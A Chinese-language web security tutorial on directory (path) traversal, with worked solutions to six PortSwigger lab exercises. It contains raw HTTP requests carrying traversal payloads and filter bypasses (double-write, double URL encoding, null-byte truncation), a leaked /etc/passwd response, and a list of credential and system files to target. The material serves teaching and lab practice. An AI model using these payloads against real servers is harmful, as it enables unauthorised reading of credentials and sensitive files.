WEB安全基础入门—目录遍历(路径遍历路径穿越攻击)
Posted Eason_LYC
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB安全基础入门—目录遍历(路径遍历路径穿越攻击)相关的知识,希望对你有一定的参考价值。
欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:
- 《WEB安全基础-服务器端漏洞》
- 《WEB安全基础-客户端漏洞》
- 《WEB安全高级-综合利用》
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
- 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
- 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。这会导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以技巧不如授之以渔。
- 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
- 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~
WEB安全基础入门—目录遍历(路径遍历\\路径穿越攻击)
- 1. 什么是目录遍历攻击
- 2.任意读取文件
- 3. 常见的防护绕过方法
- 4. 漏洞实例
- 1. 文件路径遍历,简单情况 ([File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple))
- 2. 文件路径遍历,使用绝对路径绕过([File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass))
- 3. 文件路径遍历,双写绕过过滤 ([File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively))
- 4. 文件路径遍历,多重URL编码绕过过滤
- 5. 文件路径遍历,验证路径开头([File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path))
- 6. 文件路径遍历,空字节绕过文件扩展名验证 ([File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass))
1. 什么是目录遍历攻击
攻击者在服务器端任意访问和修改文件、数据和凭证等的一系列危险操作,最终控制整个服务器的行为,称为目录遍历攻击。
2.任意读取文件
- 网站中往往有读取图片的链接,程序往往通过照片的本地\\远程文件路径,调用文件系统API去读取内容。
<img src="/loadImage?filename=218.png">
程序调用的实际完整路径为 /var/www/images/218.png
- 若网站没有路径防护或过滤,可构造如下连接,实际访问服务器上的密码本或敏感配置
https://insecure-website.com/loadImage?filename=../../../etc/passwd
…/在linux意味着上一级目录,那…/…/就是上两级目录。window …/ 或者…\\均可。一般要跳转至根目录(可多次…/…/…/)再去输入感兴趣文件的绝对路径。
https://insecure-website.com/loadImage?filename=..\\..\\..\\windows\\win.ini
例题1
3. 常见的防护绕过方法
- 程序对URL中的
./
(./当前目录的表示方法)等符号进行转义。可尝试使用绝对路径、双写等。如/etc/passwd
或//etc//passwd
- 有些程序会对
../
进行过滤,可采用URL编码或URL双重编码进行绕过,如....//
例题 2、3、4
- 有些会对路径头有要求无法改动,此时可使用路径后增加
../../../yourpath
实现绕过
例题5
- 有些会对文件格式做要求,比如必须已png结尾,此时可以使用阶段符号%00实现绕过
例题 6
4. 漏洞实例
1. 文件路径遍历,简单情况 (File path traversal, simple case)
- 目标
读取/etc/passwd 文件内容
- 解题思路
- 截取数据包,发现很多图片的数据包为
GET /image?filename=21.jpg HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
- 尝试构造目录遍历攻击包
GET /image?filename=../../../etc/passwd HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
HTTP/1.1 200 OK
Content-Type: image/jpeg
Connection: close
Content-Length: 1256
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
2. 文件路径遍历,使用绝对路径绕过(File path traversal, traversal sequences blocked with absolute path bypass)
- 目标
读取/etc/passwd 文件内容
- 解题思路
使用绝对路径绕过
GET /image?filename=/etc/passwd HTTP/1.1
Host: acdc1fa71e61136dc0d333ff009d0097.web-security-academy.net
Cookie: session=A0bmGM8oWsiKBIEnRVoa3Hf7ScODLbj0
3. 文件路径遍历,双写绕过过滤 (File path traversal, traversal sequences stripped non-recursively)
- 目标
读取/etc/passwd 文件内容
- 解题思路
- 发现常规的…/无效 尝试双写绕过
....//....//etc//passwd
- 发现常规的…/无效 尝试双写绕过
GET /image?filename=....//....//....//etc//passwd HTTP/1.1
Host: acd81f9d1fe83b0dc0858f0f00a20095.web-security-academy.net
4. 文件路径遍历,多重URL编码绕过过滤
- 目标
读取/etc/passwd 文件内容
- 解题思路
- 发现传统双写绕过不成功,考虑Fuzz(混淆绕过)。Burp爆破模块内置了混淆的字典
- 发现一个成功的,后面该下路径文件名就行
GET /image?filename=%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd HTTP/1.1
Host: ac571fd31e5a12a6c03c2e64008200be.web-security-academy.net
5. 文件路径遍历,验证路径开头(File path traversal, validation of start of path)
- 目标
读取/etc/passwd 文件内容
- 解题思路
如题必须以/var/www/images开头,所以后接多个../
跳转至根目录,在写出目标文件绝对路径
GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/1.1
Host: ac361f0b1ee43c97c08f438a00db004a.web-security-academy.net
Cookie: session=01EaYq2nzAPLOi9viHGOEokhPCWz2Gwg
6. 文件路径遍历,空字节绕过文件扩展名验证 (File path traversal, validation of file extension with null byte bypass)
- 目标
读取/etc/passwd 文件内容
- 解题思路
GET /image?filename=../../../../etc/passwd%00.png HTTP/1.1
Host: ac831fcc1fcb82d8c02b089100dd0098.web-security-academy.net
目录遍历漏洞
一、前言
目录遍历(路径遍历)是由于Web服务器或者Web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,是针对Windows IIS和 Apache 的一种常见攻击。使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以是Web根目录以外的文件即受限文件),甚至执行系统命令 cmd.exe /c 提取目录信息或在Web服务器的根目录外执行命令。该漏洞常常出现在文件读取或者展示图片等对文件读取交互的功能块。
二、原理
目录遍历是一种允许攻击者在未授权的状态下读取应用服务上任意文件的安全漏洞。这包括应用代码、数据、凭证以及操作系统的敏感文件。在有些情况下,攻击者还可能对服务器里的文件进行任意写入,更改应用数据甚至完全控制服务器。
程序在实现上没有充分过滤用户输入的目录跳转符(如../),导致用户可以恶意提交目录跳转,实现服务器上的任意文件遍历。
三、攻击手法
比如:http://www.test.com/index.php?file=image1.jpg,服务器拼接成c://test/static/imgs/image1.jpg
1、直接使用../
payload:
http://www.test.com/index.php?file=../imgs/image1.jpg
http://www.test.com/index.php?file=../../../../windows/win.ini
http://www.test.com/index.php?file=../../../../windows/win.ini%00.jpg
2、使用绝对路径
payload:
http://www.test.com/index.php?file=/etc/passwd
http://www.test.com/index.php?file=/etc/passwd%00.jpg
3、使用双写
payload:
http://www.test.com/index.php?file=....//imgs/image1.jpg
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini%00.jpg
4、加密参数
http://www.test.com/index.php?file=aW1hZ2UxLmpwZw== 参数file的数据采用Base64加密,而攻击中只需要将数据进行相应的解密即可入侵,采用一些常见、规律性的加密方式也是不安全的。
5、二次编码
采用不同的编码进行过滤型绕过,比如通过对参数进行url编码提交来绕过。 . : %2 / : %2f %:%25(双重编码) 注意:服务器会先进行url解码,再加上get协议本身会进行一次url解码,所以进行两次url编码
6、截断绕过
当程序系统设置了后缀名检测的时候,可以通过"%00"截断来绕过。 比如:../windows/win.ini%00.jpg等价于../windows/win.ini;在Unix的系统中也可以使用Url编码的换行符%0a,也可以尝试%20。
四、常见系统文件路径
Windows:
C:\\boot.ini //查看系统版本
C:\\Windows\\System32\\inetsrv\\MetaBase.xml //IIS配置文件
C:\\Windows\\repair\\sam //存储系统初次安装的密码
C:\\Program Files\\mysql\\my.ini //Mysql配置
C:\\Program Files\\mysql\\data\\mysql\\user.MYD //Mysql root
C:\\Windows\\php.ini //php配置信息
C:\\Windows\\my.ini //Mysql配置信息
Linux:
/etc/passwd #查看用户文件
/etc/shadow #查看密码文件,如果能读取该文件说明是root权限
/etc/httpd/conf/httpd.conf #查看apache的配置文件
/root/.bash_history #查看历史命令
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
/proc/self/fd/fd[0-9] *(文件标识符)
/proc/mounts
/root/.ssh/known_hosts
程序配置文件
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf
五、防御措施
1. 限制用户输入的路径在某一个范围内。
2. 标准化所有字符
当用户请求访问文件/目录时,直接标准化所有字符,将所有字符转换成 url 编码,这样做之后,到了服务器手上不会解析成../,就不存在目录遍历了。
3. 验证用户的输入是否在白名单那内
也就是限制用户请求资源,对于少量的文件(例如都是图像),写正则表达式批量规范请求资源的白名单,这样可以做到完美防御目录遍历漏洞。
以上是关于WEB安全基础入门—目录遍历(路径遍历路径穿越攻击)的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web常规安全漏洞问题介绍和防范说明,如:SQL注入攻击XSS跨站点脚本攻击JS注入注释与异常信息泄露跨站点请求伪造路径遍历与强制浏览越权访问类常见网络安全问题是什么?